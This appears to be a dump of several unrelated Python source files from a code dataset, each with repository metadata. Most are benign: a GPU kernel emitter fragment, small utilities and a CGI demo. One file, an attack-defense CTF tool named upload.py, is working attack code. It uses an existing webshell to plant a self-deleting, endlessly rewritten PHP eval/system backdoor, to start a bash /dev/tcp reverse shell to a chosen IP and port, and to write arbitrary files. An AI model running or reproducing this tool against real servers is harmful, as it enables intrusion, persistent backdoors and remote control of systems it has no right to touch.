self._emit(f"v_or3_b32 v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 1)}], v[{v_c(vgpr_index + 2)}]")
else:
# CAUSION: ds_write_b8 already clamp the value for us. if need other clamp methor, need further consideration
pass
# self._emit(f"v_and_b32 v[{v_c(vgpr_index + 0)}], s[s_0xff], v[{v_c(vgpr_index + 0)}]")
# self._emit(f"v_and_b32 v[{v_c(vgpr_index + 1)}], s[s_0xff], v[{v_c(vgpr_index + 1)}]")
# self._emit(f"v_and_b32 v[{v_c(vgpr_index + 2)}], s[s_0xff], v[{v_c(vgpr_index + 2)}]")
# self._emit(f"v_lshlrev_b32 v[{v_c(vgpr_index + 3)}], 24, v[{v_c(vgpr_index + 3)}]")
# self._emit(f"v_lshlrev_b32 v[{v_c(vgpr_index + 1)}], 8, v[{v_c(vgpr_index + 1)}]")
# self._emit(f"v_lshlrev_b32 v[{v_c(vgpr_index + 2)}], 16, v[{v_c(vgpr_index + 2)}]")
# self._emit(f"v_or_b32 v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 3)}]")
# self._emit(f"v_or3_b32 v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 0)}], v[{v_c(vgpr_index + 1)}], v[{v_c(vgpr_index + 2)}]")
accvgpr_as_sst = ctrl.accvgpr_unified and ctrl.precision == 'fp32'
if accvgpr_as_sst:
agpr_consume_list.append(agpr_index + 0)
agpr_consume_list.append(agpr_index + 1)
agpr_consume_list.append(agpr_index + 2)
agpr_consume_list.append(agpr_index + 3)
if not ctrl.can_skip_coalescing():
idword = sst_offset // (data_byte * (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else 1))
if ctrl.vector_write_out == 1:
self._emit(inst_sst(v_co_sst(), a_c(agpr_index) if accvgpr_as_sst else v_c(vgpr_index), sst_offset) + \
f" ; idword:{idword}({idword // ctrl.cxm.macro_tile_n},{idword % ctrl.cxm.macro_tile_n}), {sst_m_offset}x{sst_n_offset} |" + \
f" /{(AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else 1)}, i_mr:{i_mr}, i_ms:{i_ms}, i_mw:{i_mw}, i_mb:{i_mb} x i_nr:{i_nr}, i_ns:{i_ns}, i_nw:{i_nw}")
else:
for i in range(4):
self._emit(inst_sst(v_co_sst(), a_c(agpr_index + i) if accvgpr_as_sst else v_c(vgpr_index + i), sst_offset + i * ctrl.cxm.macro_tile_n * data_byte) + \
f' ; idword:{idword}({idword // ctrl.cxm.macro_tile_n},{idword % ctrl.cxm.macro_tile_n}), {sst_m_offset}x{sst_n_offset}, i_mr:{i_mr}, i_ms:{i_ms}, i_mw:{i_mw}, i_mb:{i_mb} x i_nr:{i_nr}, i_ns:{i_ns}, i_nw:{i_nw}')
#vgpr_index_acc += (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else ctrl.vector_write_out)
if ctrl.feat_vgpr_collapse:
if vgpr_index_acc + AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M >= ctrl.get_vgpr_usage():
vgpr_index_acc = 0
else:
vgpr_index_acc += AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M # to have a balanced vgpr reusage
else:
vgpr_index_acc += AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M # can always use granularity to increase acc vgpr index
def emit_calculate_out_offset_itr_m(i_m, i_m0, i_m1):
# self._emit(f"; i_m:{i_m}, i_m0:{i_m0}xi_m1:{i_m1}")
comments = f" ; i_m:{i_m}(i_m0:{i_m0},i_m1:{i_m1})"
if ctrl.co_m_update_os_functor:
self._emit(ctrl.co_m_update_os_functor(i_m, i_m0, i_m1)) # TODO: better sigture
else:
if s_gemm_m0_stride is not None:
self._emit(f"s_mul_i32 s[{s_tmp6(2)}], {i_m0}, s[{s_gemm_m0_stride}]")
self._emit(f"s_mul_i32 s[{s_tmp6(3)}], {i_m1}, s[{s_gemm_m1_stride}]")
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_tmp6(2)}], s[{s_tmp6(3)}]" + comments)
if not no_s_out_offset:
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_out_offset}], s[{s_out_offset_itr()}] ")
else:
'''
no m0_stride, which indicate m0, m1 is continuous, no need to deal with m0, m1 seperately
'''
if i_m == 0:
if no_s_out_offset:
self._emit(f"s_mov_b32 s[{s_out_offset_itr()}], 0" + comments)
if s_k is not None:
self._emit(f"v_add_u32 v[{v_cur_k()}], s[{s_block_gtc_ik()}], v[{v_co_sub_m_index()}]")
self._emit(f"v_mov_b32 v[{v_tmp0()}], v[{v_cur_k()}]")
else:
self._emit(f"s_mov_b32 s[{s_out_offset_itr()}], s[{s_out_offset}]" + comments)
elif i_m == 1:
if no_s_out_offset:
self._emit(f"s_mov_b32 s[{s_out_offset_itr()}], s[{s_gemm_m1_stride}]" + comments)
if s_k is not None:
self._emit(f"v_add_u32 v[{v_tmp0()}], 1, v[{v_cur_k()}]")
else:
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_gemm_m1_stride}], s[{s_out_offset}]" + comments)
else:
if no_s_out_offset:
self._emit(f"s_mul_i32 s[{s_out_offset_itr()}], {i_m}, s[{s_gemm_m1_stride}]" + comments)
if s_k is not None:
self._emit(f"v_add_u32 v[{v_tmp0()}], {i_m}, v[{v_cur_k()}]")
else:
self._emit(f"s_mul_i32 s[{s_tmp6(3)}], {i_m}, s[{s_gemm_m1_stride}]")
self._emit(f"s_add_u32 s[{s_out_offset_itr()}], s[{s_tmp6(3)}], s[{s_out_offset}]" + comments)
# emit first calculation before wait for store
emit_calculate_out_offset_itr_m(m_index_start_per_group, m0_index_start_per_group, m1_index_start_per_group)
issue_list = []
num_sld_total_dword = ctrl.get_num_dword_per_group() // (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else ctrl.vector_write_out)
if not ctrl.can_skip_coalescing():
self._emit(f"s_waitcnt lgkmcnt(0)")
self._emit(f"s_barrier")
for i_d in range(num_sld_total_dword):
vgpr_index = i_d * (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else ctrl.vector_write_out) * data_byte // 4 # when data byte is 2, only cost 2 vgpr per time
sld_offset = i_d * (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else ctrl.vector_write_out) * ctrl.block_size * data_byte
# self._emit(inst_sld(v_c(vgpr_index), v_co_sld(), sld_offset))
issue_list.append(inst_sld.get_issues(sld_offset))
total_lgkmcnt = utility_flatten_list_accumulate(issue_list)
issues_per_ssgroup = 4 if inst_sld_byte == 16 or inst_sld_byte == 8 else 8
assert MAX_LGKMCNT % issues_per_ssgroup == 0
# we need further split based on issues_per_ssgroup
split_sld_groups = (total_lgkmcnt + issues_per_ssgroup - 1) // issues_per_ssgroup
num_issues_per_ssgroup = len(issue_list) // split_sld_groups
assert (ctrl.get_num_dword_per_group() // ctrl.vector_write_out) % split_sld_groups == 0, "TODO: need adjust ssgroup value based on dword per group"
num_gst_per_ssgroup = ctrl.get_num_dword_per_group() // ctrl.vector_write_out // split_sld_groups
assert num_sld_total_dword % split_sld_groups == 0, "TODO: need adjust"
num_sld_per_ssgroup = num_sld_total_dword // split_sld_groups
for i_ssgroup in range(split_sld_groups):
if not ctrl.can_skip_coalescing():
self._emit(f"; load from lds, i_ssgroup:{i_ssgroup}, num_sld_per_ssgroup:{num_sld_per_ssgroup}")
for i_d in range(num_sld_per_ssgroup):
vgpr_index = (i_d + (i_ssgroup if not ctrl.feat_vgpr_collapse else 0) * num_sld_per_ssgroup) * (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else ctrl.vector_write_out) * data_byte // 4 # when data byte is 2, only cost 2 vgpr per time
sld_offset = (i_d + i_ssgroup * num_sld_per_ssgroup) * (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else ctrl.vector_write_out) * ctrl.block_size * data_byte
self._emit(inst_sld(v_c(vgpr_index), v_co_sld(), sld_offset))
current_issue_list = issue_list[i_ssgroup * num_issues_per_ssgroup : (i_ssgroup+1) * num_issues_per_ssgroup]
if not ctrl.feat_co_m_flag_check and (v_store_flag is not None and type(v_store_flag) is str):
self._emit(f"v_cmpx_eq_u32 vcc, 1, v[{v_store_flag}]")
self._emit(f"; store to global, m index start from {m_index_start_per_group}, m0:{m0_index_start_per_group}, m1:{m1_index_start_per_group}")
i_m0_start, i_m1_start = m0_index_start_per_group, m1_index_start_per_group
for i_gst in range(num_gst_per_ssgroup):
i_gst_flat = i_gst + i_ssgroup * num_gst_per_ssgroup
if len(current_issue_list) != 0:
if i_gst % (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else 1) == 0:
i_issues = (i_gst // (AMDGPU_XDLOPS_LANEGROUP_GRANULARITY_M if ctrl.vector_write_out == 1 else 1)) + 1
i_issue_list = current_issue_list[i_issues:]
i_issue_cnt = utility_flatten_list_accumulate(i_issue_list) if len(i_issue_list) != 0 else 0
self._emit(f"s_waitcnt lgkmcnt({i_issue_cnt})")
# vdata, vaddr, srsrc, soffset, offset
if not ctrl.feat_co_m_flag_check and (s_k is not None):
self._emit(f"v_cmp_gt_u32 vcc, s[{s_k()}], v[{v_tmp0()}]")
self._emit(f"s_and_saveexec_b64 s[{s_tmp6(4)}:{s_tmp6(5)}], vcc")
elif ctrl.feat_co_m_flag_check:
self._emit(ctrl.co_m_flag_check_start_functor())
cur_vgpr_gst = (i_gst_flat if not ctrl.feat_vgpr_collapse else i_gst) * ctrl.vector_write_out//(4 // data_byte)
lo_hi = i_gst_flat % 2 if ctrl.precision in ('fp16', 'bf16') and ctrl.vector_write_out == 1 else 0
self._emit(inst_gst(v_c(cur_vgpr_gst), v_out_offset, s_p_out, s_out_offset_itr(), 0, lo_hi))
if not ctrl.feat_co_m_flag_check and (s_k is not None):
self._emit(f"s_or_b64 exec, exec, s[{s_tmp6(4)}:{s_tmp6(5)}]")
elif ctrl.feat_co_m_flag_check:
self._emit(ctrl.co_m_flag_check_reset_functor())
if ctrl.precision == 'int8' and ctrl.vector_write_out == 1:
if i_gst_flat % 4 != 3:
self._emit(f"v_lshrrev_b32 v[{v_c(cur_vgpr_gst)}], 8, v[{v_c(cur_vgpr_gst)}]")
if i_gst_flat != (ctrl.get_num_dword_per_group() // ctrl.vector_write_out) - 1:
i_m = m_index_per_group[i_group][0][(i_gst_flat)+1]
# self._emit(f"; >>>>>> i_m :{i_m}, i_gst:{i_gst}, m_index_per_group[i_group][0]:{m_index_per_group[i_group][0]}")
i_m0, i_m1 = ctrl.get_m0_m1_index(i_m)
emit_calculate_out_offset_itr_m(i_m, i_m0, i_m1)
if not ctrl.feat_co_m_flag_check and (v_store_flag is not None and type(v_store_flag) is str):
self._emit(f"s_mov_b64 exec, -1")
if ctrl.feat_vgpr_collapse:
agpr_per_store_group = ctrl.cxm.total_acc_c() // ctrl.coalescing_groups
assert ctrl.get_vgpr_usage() == ((agpr_per_store_group + split_sld_groups - 1) // split_sld_groups), f"vgpr_usage:{ctrl.get_vgpr_usage()}, agpr_per_store_group:{agpr_per_store_group}, split_sld_groups:{split_sld_groups}"
# do some assert
agpr_consume_list.sort()
assert agpr_consume_list == [x for x in range(ctrl.cxm.total_acc_c())], f"agpr_consume_list:{agpr_consume_list}"
#if agpr_consume_list != [x for x in range(ctrl.cxm.total_acc_c())]:
# self._emit(f"; [WRONG!] agpr ~~~~~~~~, {agpr_consume_list}")
return self._get_deferred()
| 65.002028
| 285
| 0.56939
| 15,333
| 96,138
| 3.138786
| 0.037957
| 0.010057
| 0.03497
| 0.023895
| 0.813182
| 0.771542
| 0.728863
| 0.691338
| 0.66258
| 0.625117
| 0
| 0.029433
| 0.317221
| 96,138
| 1,478
| 286
| 65.046008
| 0.703752
| 0.196592
| 0
| 0.48934
| 0
| 0.041624
| 0.203208
| 0.080885
| 0
| 0
| 0
| 0.00203
| 0.058883
| 1
| 0.050761
| false
| 0.00203
| 0.011168
| 0.003046
| 0.119797
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
9bee46202a9fe298754465596a00d2c5949abaff
| 124
|
py
|
Python
|
utils/nltkReqs.py
|
CrakeNotSnowman/TwitterEventBot
|
9c7c8c165cd18cc1e49c97bdf30663cf3303cc49
|
[
"MIT"
] | 15
|
2016-11-16T23:13:46.000Z
|
2021-08-29T02:29:55.000Z
|
utils/nltkReqs.py
|
KeithTheEE/TwitterEventBot
|
0c9fc74dd84b7abf7a1a7733d631392e91f9ce55
|
[
"MIT"
] | 1
|
2016-12-02T19:47:02.000Z
|
2017-01-02T09:23:23.000Z
|
utils/nltkReqs.py
|
CrakeNotSnowman/TwitterEventBot
|
9c7c8c165cd18cc1e49c97bdf30663cf3303cc49
|
[
"MIT"
] | 2
|
2017-09-23T03:01:13.000Z
|
2019-09-14T16:48:55.000Z
|
def downloadNLTKModules():
import nltk
nltk.download('punkt')
nltk.download('averaged_perceptron_tagger')
| 11.272727
| 47
| 0.701613
| 12
| 124
| 7.083333
| 0.75
| 0.282353
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.193548
| 124
| 10
| 48
| 12.4
| 0.85
| 0
| 0
| 0
| 0
| 0
| 0.262712
| 0.220339
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.25
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
5010ad7e555abc2cf4429b9ced2aef6d1e1827e0
| 180
|
py
|
Python
|
api-core/settings.py
|
afforeroc/my-weather-api
|
e4c04729afab0f8f44e071ab6c88a0f0253c32ca
|
[
"MIT"
] | null | null | null |
api-core/settings.py
|
afforeroc/my-weather-api
|
e4c04729afab0f8f44e071ab6c88a0f0253c32ca
|
[
"MIT"
] | null | null | null |
api-core/settings.py
|
afforeroc/my-weather-api
|
e4c04729afab0f8f44e071ab6c88a0f0253c32ca
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""Load API settings of Current Weather API of OpenWeatherMap."""
from os import environ
API_URL = environ.get('API_URL')
API_KEY = environ.get('API_KEY')
| 25.714286
| 65
| 0.705556
| 28
| 180
| 4.392857
| 0.607143
| 0.097561
| 0.211382
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006452
| 0.138889
| 180
| 7
| 66
| 25.714286
| 0.787097
| 0.455556
| 0
| 0
| 0
| 0
| 0.150538
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
501b673e88536ba523e08ce5ed796315180acb99
| 232
|
py
|
Python
|
metering/handlers/verify_handler.py
|
singnet/snet-monitoring
|
aea9e86df3394e35c258c570d1219393aadaa17c
|
[
"MIT"
] | null | null | null |
metering/handlers/verify_handler.py
|
singnet/snet-monitoring
|
aea9e86df3394e35c258c570d1219393aadaa17c
|
[
"MIT"
] | 26
|
2019-04-22T06:43:27.000Z
|
2019-12-03T10:15:36.000Z
|
metering/handlers/verify_handler.py
|
singnet/snet-platform-usage
|
aea9e86df3394e35c258c570d1219393aadaa17c
|
[
"MIT"
] | 5
|
2019-03-25T06:56:31.000Z
|
2019-08-28T00:26:14.000Z
|
import json
from constants import StatusCode
from utils import make_response
def main(event, context):
return make_response(
status_code=StatusCode.SUCCESS_GET_CODE,
body=json.dumps({"data": "success"})
)
| 19.333333
| 48
| 0.715517
| 29
| 232
| 5.551724
| 0.689655
| 0.149068
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.198276
| 232
| 11
| 49
| 21.090909
| 0.865591
| 0
| 0
| 0
| 0
| 0
| 0.047414
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.125
| false
| 0
| 0.375
| 0.125
| 0.625
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
5029ccc59c7bf7bc157c56275409d94a00621b1f
| 53
|
py
|
Python
|
Basics in Python/sets.py
|
HimanshuPoptani/Python-Tutorial
|
5658c28d6bc3def9804f45551ed4e9b01d99557a
|
[
"Unlicense"
] | 1
|
2020-06-14T12:45:11.000Z
|
2020-06-14T12:45:11.000Z
|
Basics in Python/sets.py
|
HimanshuPoptani/Python-Tutorial
|
5658c28d6bc3def9804f45551ed4e9b01d99557a
|
[
"Unlicense"
] | null | null | null |
Basics in Python/sets.py
|
HimanshuPoptani/Python-Tutorial
|
5658c28d6bc3def9804f45551ed4e9b01d99557a
|
[
"Unlicense"
] | null | null | null |
# Sets are unordered collections of unique elements.
| 26.5
| 52
| 0.811321
| 7
| 53
| 6.142857
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.150943
| 53
| 1
| 53
| 53
| 0.955556
| 0.943396
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
502d0947c464a39dfd958803c0d32ff09af87301
| 443
|
py
|
Python
|
hello.py
|
dellahumanita/cgi-lab
|
a8ad02f84b13ac23ac59ef7d371649e2a47f719d
|
[
"Apache-2.0"
] | null | null | null |
hello.py
|
dellahumanita/cgi-lab
|
a8ad02f84b13ac23ac59ef7d371649e2a47f719d
|
[
"Apache-2.0"
] | null | null | null |
hello.py
|
dellahumanita/cgi-lab
|
a8ad02f84b13ac23ac59ef7d371649e2a47f719d
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/python3
import os
import json
# print all env variables as plain text
# print("Content-type: text/plain\n")
# print(os.environ)
# print env variables as json
# print("Content-type: application/json\n")
# print(json.dumps(dict(os.environ), indent=2))
print('Content-Type: text/html\n')
print(f'<p>QUERY_STRING: {os.environ["QUERY_STRING"]}</p>')
print(f'<p>HTTP_USER_AGENT: {os.environ["HTTP_USER_AGENT"]}</p>')
| 27.6875
| 65
| 0.68623
| 70
| 443
| 4.257143
| 0.428571
| 0.120805
| 0.161074
| 0.134228
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005181
| 0.128668
| 443
| 16
| 65
| 27.6875
| 0.766839
| 0.510158
| 0
| 0
| 0
| 0
| 0.658163
| 0.341837
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.4
| 0
| 0.4
| 0.6
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
|
0
| 4
|
ac919c25f449170272712a2934347503d1d688dc
| 153
|
py
|
Python
|
mapss/static/packages/arches/arches/app/utils/profile_stats.py
|
MPI-MAPSS/MAPSS
|
3a5c0109758801717aaa8de1125ca5e98f83d3b4
|
[
"CC0-1.0"
] | null | null | null |
mapss/static/packages/arches/arches/app/utils/profile_stats.py
|
MPI-MAPSS/MAPSS
|
3a5c0109758801717aaa8de1125ca5e98f83d3b4
|
[
"CC0-1.0"
] | null | null | null |
mapss/static/packages/arches/arches/app/utils/profile_stats.py
|
MPI-MAPSS/MAPSS
|
3a5c0109758801717aaa8de1125ca5e98f83d3b4
|
[
"CC0-1.0"
] | null | null | null |
import hotshot.stats
import sys
stats = hotshot.stats.load(sys.argv[1])
# stats.strip_dirs()
stats.sort_stats("cumtime", "calls")
stats.print_stats(25)
| 19.125
| 39
| 0.75817
| 24
| 153
| 4.708333
| 0.583333
| 0.212389
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.021429
| 0.084967
| 153
| 7
| 40
| 21.857143
| 0.785714
| 0.117647
| 0
| 0
| 0
| 0
| 0.090226
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.4
| 0
| 0.4
| 0.2
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
ac9259b8eef0c51e4849d09448f44b75f9557e6a
| 158
|
py
|
Python
|
08_functions/8_4_large_shirts.py
|
simonhoch/python_basics
|
4ecf12c074e641e3cdeb0a6690846eb9133f96af
|
[
"MIT"
] | null | null | null |
08_functions/8_4_large_shirts.py
|
simonhoch/python_basics
|
4ecf12c074e641e3cdeb0a6690846eb9133f96af
|
[
"MIT"
] | null | null | null |
08_functions/8_4_large_shirts.py
|
simonhoch/python_basics
|
4ecf12c074e641e3cdeb0a6690846eb9133f96af
|
[
"MIT"
] | null | null | null |
def make_shirt(text, size = 'large'):
print('You can buy a ' + size + ' size t-shirt with written ' + text + ' written on it.')
make_shirt(text = 'yepa')
| 31.6
| 92
| 0.626582
| 25
| 158
| 3.88
| 0.68
| 0.185567
| 0.268041
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.208861
| 158
| 4
| 93
| 39.5
| 0.776
| 0
| 0
| 0
| 0
| 0
| 0.411392
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
ac9407bd419b34b9fe220b459429698521adf03f
| 120
|
py
|
Python
|
puzzle/plugins/sql/mixins/__init__.py
|
robinandeer/puzzle
|
9476f05b416d3a5135d25492cb31411fdf831c58
|
[
"MIT"
] | 24
|
2015-10-15T16:29:58.000Z
|
2020-12-08T22:14:13.000Z
|
puzzle/plugins/sql/mixins/__init__.py
|
robinandeer/puzzle
|
9476f05b416d3a5135d25492cb31411fdf831c58
|
[
"MIT"
] | 212
|
2015-10-08T14:28:36.000Z
|
2020-04-29T22:44:10.000Z
|
puzzle/plugins/sql/mixins/__init__.py
|
robinandeer/puzzle
|
9476f05b416d3a5135d25492cb31411fdf831c58
|
[
"MIT"
] | 11
|
2015-10-08T09:26:46.000Z
|
2018-02-02T16:45:07.000Z
|
# -*- coding: utf-8 -*-
from .actions import ActionsMixin
from .case import CaseMixin
from .variant import VariantMixin
| 24
| 33
| 0.758333
| 15
| 120
| 6.066667
| 0.733333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009709
| 0.141667
| 120
| 4
| 34
| 30
| 0.873786
| 0.175
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
ac94ad4ab1fd6586edc885123037376737c01fc5
| 3,691
|
py
|
Python
|
awdphpspear/upload.py
|
hillmanyoung/AWD
|
6abe8f96c1b457a22f0bb15ca6ed901e922fc38c
|
[
"MIT"
] | 146
|
2019-07-05T12:36:33.000Z
|
2021-12-05T18:20:26.000Z
|
awdphpspear/upload.py
|
ZacharyZcR/AWD-
|
6abe8f96c1b457a22f0bb15ca6ed901e922fc38c
|
[
"MIT"
] | null | null | null |
awdphpspear/upload.py
|
ZacharyZcR/AWD-
|
6abe8f96c1b457a22f0bb15ca6ed901e922fc38c
|
[
"MIT"
] | 36
|
2019-07-05T12:38:21.000Z
|
2021-05-26T11:44:13.000Z
|
import requests
import os
def trojan_implant(address,webshell,trojan,password):
payload = ''
payload += 'ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file='
payload += "'"
payload += trojan
payload += "'"
payload += ';$code='
payload += "'"
payload += '<?php @eval($_POST[a]);@system($_POST[b]); ?>'
payload += "'"
payload += ';while(1){file_put_contents($file,$code);usleep(5000);}'
data = {password:payload}
try:
r = requests.get(address+webshell)
print address+webshell,"[+]Webshell Works Well."
except:
print address+webshell,"[-]Webshell Failed"
try:
r = requests.post(address+webshell,data=data,timeout=1)
if r.status_code == 200:
r = requests.get(address+trojan)
if r.status_code == 200:
print "[+]Implant Succeed."
print "[+]Trojan Content:",r.text
print "*******************************************************"
else:
print "[-]Implant Failed."
print "*******************************************************"
except:
r = requests.get(address+trojan)
if r.status_code == 200:
print "[+]Implant Succeed."
print "[-]Trojan Content:",r.text
print "*******************************************************"
else:
print "[-]Implant Failed."
print "*******************************************************"
def trojan_implant_memory(address,webshell,trojan,ip,port,password):
payload = ''
payload += '$code = "<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);'
payload += ''
payload += "while(1){@system('bash -i >& /dev/tcp/"
payload += ip
payload += "/"
payload += str(port)
payload += ''' 0>&1');};";'''
payload += '$file = '
payload += '"'
payload += trojan
payload += '";'
payload += 'file_put_contents($file,$code);'
data = {password:payload}
try:
r = requests.get(address+webshell)
print address+webshell,"[+]Webshell Works Well."
except:
print address+webshell,"[-]Webshell Failed."
try:
r = requests.post(address+webshell,data=data,timeout=1)
if r.status_code == 200:
r = requests.get(address+trojan,timeout=1)
print "[+]Implant Succeed."
print "[+]Trojan Content:",r.text
except:
r = requests.get(address+trojan,timeout=1)
print "[+]Implant Succeed."
print 'nc -lvvp '+str(port)+' To Connect.'
def file_implant(address,webshell,name,data,password):
payload = ''
payload += '$file='
payload += "'"
payload += name
payload += "';"
payload += '$code='
payload += "'"
payload += data
payload += "';"
payload += 'file_put_contents($file,$code);'
file_data = {password:payload}
try:
r = requests.get(address+webshell)
print address,"[+]Webshell Works Well."
except:
print address,"[-]Webshell Failed"
try:
r = requests.post(address+webshell,data=file_data,timeout=1)
if r.status_code == 200:
r = requests.get(address+name)
if r.status_code == 200:
print "[+]Implant Succeed."
print "[+]Content:",r.text
print "*******************************************************"
except:
r = requests.get(address+name)
if r.status_code == 200:
print "[+]Implant Succeed."
print "[+]Content:",r.text
print "*******************************************************"
else:
print "[-]Implant Failed."
print "*******************************************************"
def check(address):
try:
r =requests.get(address)
if r.status_code == 200 :
print address,"[+]Living."
print "*******************************************************"
return 1
else:
print address,"[-]Dead."
print "*******************************************************"
return 0
except:
print address,"Dead."
print "*******************************************************"
return 0
| 30.254098
| 88
| 0.544026
| 396
| 3,691
| 4.974747
| 0.169192
| 0.114213
| 0.060914
| 0.096447
| 0.769543
| 0.72132
| 0.641624
| 0.590355
| 0.581218
| 0.556345
| 0
| 0.01335
| 0.147656
| 3,691
| 122
| 89
| 30.254098
| 0.612842
| 0
| 0
| 0.70339
| 0
| 0
| 0.366739
| 0.229957
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.050847
| 0.016949
| null | null | 0.288136
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
aca2b85fa77161e3f4f7bc8e1f77e8a8fd899179
| 299
|
py
|
Python
|
google_api_python_tools/google_connectors/client.py
|
ocadotechnology/google-api-python-tools
|
70a700ded04025a943150e619266262b5725f4e6
|
[
"Apache-2.0"
] | null | null | null |
google_api_python_tools/google_connectors/client.py
|
ocadotechnology/google-api-python-tools
|
70a700ded04025a943150e619266262b5725f4e6
|
[
"Apache-2.0"
] | 1
|
2016-04-21T12:26:45.000Z
|
2016-04-21T12:26:45.000Z
|
google_api_python_tools/google_connectors/client.py
|
